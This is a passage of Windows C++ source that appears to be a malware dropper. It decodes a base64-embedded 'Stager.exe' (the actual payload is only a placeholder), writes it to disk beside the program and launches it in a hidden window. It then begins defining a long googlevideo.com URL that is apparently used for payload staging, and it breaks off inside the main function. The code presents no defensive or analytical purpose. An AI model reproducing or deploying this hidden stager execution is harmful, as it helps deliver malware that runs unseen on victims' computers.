| 70 | } |
| 71 | |
| 72 | bool run_embedded_exe() { |
| 73 | const std::string base64_data = R"( |
| 74 | put the Stager.exe base64 string here |
| 75 | )"; |
| 76 | |
| 77 | std::string clean_b64; |
| 78 | for (char c : base64_data) |
| 79 | if (!isspace(c)) clean_b64 += c; |
| 80 | |
| 81 | DWORD size = 0; |
| 82 | if (!CryptStringToBinaryA(clean_b64.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr)) |
| 83 | return false; |
| 84 | |
| 85 | std::vector<BYTE> exe_data(size); |
| 86 | if (!CryptStringToBinaryA(clean_b64.c_str(), 0, CRYPT_STRING_BASE64, exe_data.data(), &size, nullptr, nullptr)) |
| 87 | return false; |
| 88 | exe_data.resize(size); |
| 89 | |
| 90 | std::wcout << L"Successfully read -> Stager.exe\n"; |
| 91 | |
| 92 | WCHAR exe_path[MAX_PATH]; |
| 93 | GetModuleFileNameW(nullptr, exe_path, MAX_PATH); |
| 94 | PathRemoveFileSpecW(exe_path); |
| 95 | wcscat_s(exe_path, L"\\Stager.exe"); |
| 96 | |
| 97 | std::ofstream file(wstr_to_utf8(exe_path), std::ios::binary); |
| 98 | if (!file.is_open()) return false; |
| 99 | file.write(reinterpret_cast<const char*>(exe_data.data()), exe_data.size()); |
| 100 | file.close(); |
| 101 | |
| 102 | SHELLEXECUTEINFOW info = { sizeof(info) }; |
| 103 | info.lpVerb = L"open"; |
| 104 | info.lpFile = exe_path; |
| 105 | info.nShow = SW_HIDE; |
| 106 | info.fMask = SEE_MASK_NOCLOSEPROCESS; |
| 107 | |
| 108 | if (ShellExecuteExW(&info)) { |
| 109 | WaitForSingleObject(info.hProcess, INFINITE); |
| 110 | CloseHandle(info.hProcess); |
| 111 | |
| 112 | std::wcout << L"Successfully opened -> Final_Result.exe\n"; |
| 113 | return true; |
| 114 | } |
| 115 | |
| 116 | DeleteFileW(exe_path); |
| 117 | return false; |
| 118 | } |
| 119 | |
| 120 | int wmain() { |
| 121 | const std::wstring url = L"https://rr1---sn-uxaxjvhxbt2u-5aty.googlevideo.com/videoplayback?expire=1763582759&ei=x84daeagLvWZhcIPktXbqQ4&ip=154.184.125.171&id=o-AF9TPIQdwLkiiqul_xsDxAfh92OIc6tFdHySWHZ3nAFV&itag=137&source=youtube&requiressl=yes&xpc=EgVo2aDSNQ%3D%3D&cps=12&met=1763561159%2C&mh=DX&mm=31%2C29&mn=sn-uxaxjvhxbt2u-5aty%2Csn-hgn7rn7k&ms=au%2Crdu&mv=m&mvi=1&pl=15&rms=au%2Cau&initcwndbps=317500&bui=AdEuB5TsU9PNExUdj_b9bfgYxLk_IYW-ysNGRTGBD5UQOnX-PtTsRMLcTktOInO6OO321AeCm4HO26l-&spc=6b0G_Nvh-_I2rKaUeyG6lmO5RjgYwk6ZaQ-ypWxWqJ7_yuy82C3Ti8tB&vprv=1&svpuc=1&mime=video%2Fmp4&rqh=1&gir=yes&clen=1454012&dur=1.541&lmt=1763561120035836&mt=1763560940&fvip=2&keepalive=yes&fexp=51552689%2C51565115%2C51565682%2C51580968&c=ANDROID_VR&txp=6209224&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Cxpc%2Cbui%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Crqh%2Cgir%2Cclen%2Cdur%2Clmt&sig=AJfQdSswRQIgGvn4BbD2astn6A_KgVtjJ80ei5zCCyqpF9Q5hGERtuQCIQDS_9_MGZ1vtarmkR3FRyuMAGZs2sUk7RC8a5udvxmRuw%3D%3D&lsparams=cps%2Cmet%2Cmh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Crms%2Cinitcwndbps&lsig=APaTxxMwRgIhAN8I3gYtsYvLBLVNw9pf55OGNlrt3dDNQlHjRGurwG-dAiEA9Yu2ghHsQfMlm61EzfBF32ee8FJQRieFBpbhEAG-DAk%3D"; |